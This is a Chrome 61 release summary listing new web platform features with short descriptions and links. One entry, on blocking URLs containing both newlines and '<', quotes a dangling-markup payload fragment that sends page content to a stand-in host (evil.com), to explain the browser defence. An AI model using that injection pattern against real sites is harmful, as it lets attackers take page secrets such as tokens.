Chrome Release Summary

Chrome version: 151, 150, 149, 148, 147, 146, 145, 144, 143, 142, 141, 140, 139, 138, 137, 136, 135, 134, 133, 132, 131, 130, 129, 128, 127, 126, 125, 124, 123, 122, 121, 120, 119, 118, 117, 116, 115, 114, 113, 112, 111, 110, 109, 108, 107, 106, 105, 104, 103, 102, 101, 100, 99, 98, 97, 96, 95, 94, 93, 92, 91, 90, 89, 88, 87, 86, 85, 84, 83, 82, 81, 80, 79, 78, 77, 76, 75, 74, 73, 72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0

Chrome 61

Enabled (32) | Origin Trial (0) | Behind a flag (0) | Deprecated (0) | Removed (0)

Enabled by default in 61

This release of Chrome had 32 new features.

Blocking resources whose URLs contain both `\n` and `<` characters.

As discussed in https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ, some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful. #

This feature was specified in this Spec.

CSP: Embedded Enforcement

CSP's Embedded enforcement defines a mechanism by which a web page can embed a nested browsing context if and only if it agrees to enforce a particular set of restrictions upon itself. We should prototype an implementation to see if it's something that solves real problems in a way we can ship. #

This feature was specified in this Spec.

CSP: Hardened `nonce` content attribute.

We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example. To mitigate these attacks, we'll hide the attribute from these side-channels, and only expose the value to script. #

This feature was specified in this Spec.

Resources

Docs: https://github.com/whatwg/dom/pull/436

No linked samples

CSSOM View smooth scroll API

Adds an optional argument to existing scroll APIs that specifies whether scrolling should be smooth. Also adds a CSS property for this. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoView

No linked samples

Clear-Site-Data header

A ‘Clear-Site-Data’ HTTP header prompts the user agent to clear browsing data associated with the requesting website. The supported browsing data types are cookies, storage (i.e. “site data”), and cache. This is a privacy and security enhancing feature. A sensitive website can trigger local data deletion after the user signs out. A website dealing with a persistent XSS attack can use this to ‘reset’ itself to a clean state. #

This feature was specified in this Spec.

Resources

Docs: https://docs.google.com/document/d/1I6m4QwbTNhG6wdtazamhTnArJN-UMUGqpvwH6InBEaM/

Samples: https://github.com/w3c/webappsec-clear-site-data/tree/master/demo

DOMTokenList replace()

Add the replace() function to DOMTokenList interface. We can use it like element.classList.replace('inactive', 'active'). #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenListhttps://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList/replace

No linked samples

Deprecate and remove Presentation API on insecure contexts

In aligning with Blink’s intention to remove powerful features on insecure origins, we plan to deprecate and remove support for the Presentation API on insecure contexts. PresentationRequest and PresentationReceiver where deprecated on insecure origins in Chrome 61. Removal is anticipated in Chrome 72 (February 2019). #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/PresentationRequesthttps://developer.mozilla.org/en-US/docs/Web/API/PresentationRequest/start

No linked samples

Expect-CT header

Expect-CT is an HTTP header that allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs. #

This feature was specified in this Spec.

Geometry interfaces

This specification describes several geometry interfaces for the representation of points, rectangles, quadrilaterals and transformation matrices with the dimension of 3x2 and 4x4. SVGPoint, SVGRect and SVGMatrix will be aliased to new interfaces. Their old methods will be maintained and some new methods are introduced. In the near future, CSS transform will be updated so they can work directly with the new objects. This avoid parsing on the js side. #

This feature was specified in this Spec.

Resources

No linked docs

Samples: https://hacks.mozilla.org/2014/03/introducing-the-getboxquads-api/

HTMLIFrameElement.allowpaymentrequest

Returns a Boolean indicating whether the Payment Request API may be invoked on a cross-origin iframe. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/allowPaymentRequest

Samples: https://rsolomakhin.github.io/pr/iframe/

HTTP Client Hints: Device-Memory

Client header to expose the device Memory to web applications. #

Resources

Docs: https://github.com/w3c/device-memory#the-headerhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation

No linked samples

Interoperable body/documentElement scroll behavior

Update Blink to match the CSSOM View spec’s behavior around element scrolling APIs for documentElement and body, i.e.: scrollTop, scrollLeft, scrollWidth, scrollHeight and Document.scrollingElement #

This feature was specified in this Spec.

Resources

Docs: https://github.com/operasoftware/devopera/issues/242

No linked samples

Intervention: Passive Event Listener for `type == "mousewheel" && target == window && function_name == "ssc_wheel"`

The smoothscroll.js code is largely broken and is preventing us from shipping scroll top interop. With the scroll top interop behavior activated sites fail to scroll at all with the wheel event. This library was corrected a few years ago but the web continues to clone the broken version and we have been blocked in shipping this long implemented fix for interop. Smooth scroll has been enabled in Chrome for a number of releases so using custom smooth scrolling is not necessary anymore. #

Resources

Docs: https://docs.google.com/document/d/1yMAUU0wCeP7BIlQujqfwe3LBnG0QJaqymbkZwor9u60/edit#

No linked samples

JavaScript dialogs exit HTML5 fullscreen

If a page shows a JavaScript dialog while it is in fullscreen (the HTML5 kind), it is exited from fullscreen. #

JavaScript modules: <script type=module>

JavaScript modules allow a program to be divided into multiple sequences of statements and declarations. Each module explicitly identifies declarations it uses that need to be provided by other modules and which of its declarations are available for use by other modules. <script type=module> allows loading of JavaScript modules inside web pages. #

This feature was specified in this Spec.

Resources

Docs: https://blog.whatwg.org/js-moduleshttp://tc39.github.io/ecma262/#sec-moduleshttps://developer.mozilla.org/en-US/docs/Web/HTML/Element/scripthttps://jakearchibald.com/2017/es-modules-in-browsers/

Samples: https://paulirish.github.io/es-modules-todomvc/

MediaStream Image Capture - getPhotoSettings() method

This chrome feature tracks adding the method getPhotoSettings() [1] to the currently landed ImageCapture object [2]. It's a trivial follow up to the MediaStream Image Capture API shipped in 59 [3]. [1] https://w3c.github.io/mediacapture-image/#dom-imagecapture-getphotosettings [2] https://cs.chromium.org/chromium/src/third_party/WebKit/Source/modules/imagecapture/ImageCapture.idl?q=imagecapture.idl&sq=package:chromium&dr [3] https://www.chromestatus.com/features/4843864737185792 #

This feature was specified in this Spec.

Resources

Docs: https://github.com/w3c/mediacapture-image/pull/183https://developers.google.com/web/updates/2016/12/imagecapture#capabilities_and_settingshttps://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/getPhotoSettings

Samples: https://googlechrome.github.io/samples/image-capture/photo-resolution.html

MediaStreamTrack.getSettings()

Returns the current settings of a MediaStreamTrack, including information such as (for video) width, height or framerate. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack/getSettings

No linked samples

Network Information

The Network Information API enables web applications to access the underlying connection information of the device. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformationhttps://developer.mozilla.org/en-US/docs/Web/API/Navigator/connectionhttps://developer.mozilla.org/en-US/docs/Web/API/WorkerNavigator/connection

Samples: https://github.com/GoogleChrome/samples/tree/gh-pages/network-information

PaymentRequest

An API that allows browsers to act as an intermediary between the three key parties in a financial transaction: the merchant (e.g. an online web store), the buyer (e.g. the user buying from the online web store), and the Payment Method (e.g. credit card). Information necessary to process and confirm a transaction is passed between the Payment Method and the merchant via the browser with the buyer confirming and authorizing as necessary across the flow. #

This feature was specified in this Spec.

Resources

Docs: https://developers.google.com/web/fundamentals/primers/payment-request/https://developers.google.com/web/updates/2016/07/payment-request?hl=enhttps://youtu.be/U0LkQijSekohttps://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API

Samples: https://googlechrome.github.io/samples/paymentrequest/

RTCCertificate.getFingerprints()

RTCCertificate is supposed to have a getFingerprints() method. #

This feature was specified in this Spec.

Referrer policies 'same-origin', 'strict-origin', 'strict-origin-when-cross-origin'

The Referrer Policy specification includes three policy values that Chrome doesn't yet implement. - same-origin: Send full referrers same-origin, no referrers cross-origin. - strict-origin: Strip referrers to the origin, but strip them when downgrading from HTTPS to HTTP. - strict-origin-when-cross-origin: Send full referrers same-origin, and the origin when cross-origin, but strip referrers when downgrading from HTTPS to HTTP. #

This feature was specified in this Spec.

Resource Timing & Navigation Timing: add nextHopProtocol property

nextHopProtocol has been in the spec for RT & NT but was not implemented in chrome yet. It is now landed and will ship in M61 #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiminghttps://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiming/nextHopProtocol

No linked samples

Storage quota estimate() API

navigator.storage.estimate() - returns a Promise which resolves with {usage, quota} values in bytes. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/StorageManagerhttps://developer.mozilla.org/en-US/docs/Web/API/StorageManager/estimate

No linked samples

SyncManager interface exposed to all workers

Historically the SyncManager interface was only exposed to the window and service workers. This feature exposes the interface to all workers. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/SyncManager

No linked samples

URLSearchParams: sort() method

Sorts all name-value pairs stored in a URLSearchParams. Proposed at https://github.com/whatwg/url/issues/26 to improve cache hit rate easily. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/sort

No linked samples

URLSearchParams: updated constructor

URLSearchParams' constructor has been changed in https://github.com/whatwg/url/pull/175. It is now possible to create a new URLSearchParams by passing it any object (e.g. `new URLSearchParams({'foo': 'bar'})`). #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/URLSearchParams

No linked samples

Update colSpan max value to 1000

Update colSpan max value from 8190 to 1000 as per spec change. https://html.spec.whatwg.org/#dom-tdth-colspan https://html.spec.whatwg.org/#dom-col-span https://html.spec.whatwg.org/#dom-colgroup-span #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th

No linked samples

WebUSB API

The web platform API to support programming USB devices. #

This feature was specified in this Spec.

Resources

Docs: https://web.dev/usb/https://web.dev/build-for-webusb/

Samples: https://sowbug.github.io/weblight

asm.js

Validate asm.js code and use type information to optimize the low-level subset of JavaScript. #

This feature was specified in this Spec.

Resources

Docs: http://asmjs.org/https://v8.dev/blog/v8-release-61#asm.js-is-now-validated-and-compiled-to-webassembly

No linked samples

getAttributeNames() of Element interface

getAttributeNames() is a function to rerun a list of attribute names of an element. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttributeNames

No linked samples

onwheel in GlobalEventHandlers

Previously we had onwheel attributes as part of the Element. Now we are moving them to GlobalEventHandlers to make them consistent with the other on'event' attributes. #

This feature was specified in this Spec.

Resources

Docs: https://github.com/w3c/web-platform-tests/pull/6165https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onwheel

No linked samples

visualViewport API

Exposes information about the visual viewport to the page. #

This feature was specified in this Spec.

Resources

Docs: https://developer.mozilla.org/en-US/docs/Web/API/Visual_Viewport_APIhttps://developer.mozilla.org/en-US/docs/Web/API/VisualViewport

No linked samples

Origin Trials in-progress in 61

This release of Chrome had 0 new origin trials.

Flagged features in 61

This release of Chrome had 0 are available behind a flag.

Deprecations and Removals

Deprecation policy

To keep the platform healthy, we sometimes remove APIs from the Web Platform which have run their course. There can be many reasons why we would remove an API, such as:

Some of these changes will have an effect on a very small number of sites. To mitigate issues ahead of time, we try to give developers advanced notice so they can make the required changes to keep their sites running.

Chrome currently has a process for deprecations and removals of API's, essentially:

You can find a list of all deprecated features on chromestatus.com using the deprecated filter and removed features by applying the removed filter. We will also try to summarize some of the changes, reasoning, and migration paths in these posts.

Deprecated features in 61

This release of Chrome had 0 features deprecated.

Removed features in 61

This release of Chrome had 0 features removed.